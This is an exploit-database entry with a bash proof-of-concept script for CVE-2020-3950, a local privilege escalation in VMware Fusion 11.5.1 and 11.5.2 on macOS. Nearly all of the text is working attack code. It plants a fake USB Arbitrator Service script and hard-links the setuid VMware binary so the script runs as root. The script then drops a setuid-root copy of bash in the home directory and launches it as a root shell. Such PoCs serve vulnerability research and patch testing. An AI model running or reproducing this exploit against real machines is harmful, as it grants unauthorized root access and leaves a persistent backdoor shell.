VMware Fusion 11.5.2 – Privilege Escalation
# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation # Date: 2020-03-17 # Exploit Author: Rich Mirch # Vendor Homepage: https://www.vmware.com/products/fusion.html # Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html # Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg # Versions: # VMware Fusion Professional 11.5.1 (15018442) # VMware Fusion Professional 11.5.2 (15794494) # # Tested on: macOS 10.14.6 # CVE : CVE-2020-3950 # Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh # # #!/bin/bash echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch" mkdir -p ~/a/b/c mkdir -p ~/Contents/Library/services cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF #!/usr/bin/python import os os.setuid(0) os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot"); EOF chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service cd ~/a/b/c ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null "${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null & p=$! echo "Sleeping for 5 seconds" sleep 5 kill ${p?} wait echo "Sleeping for 7 seconds" sleep 7 $HOME/.woot -p |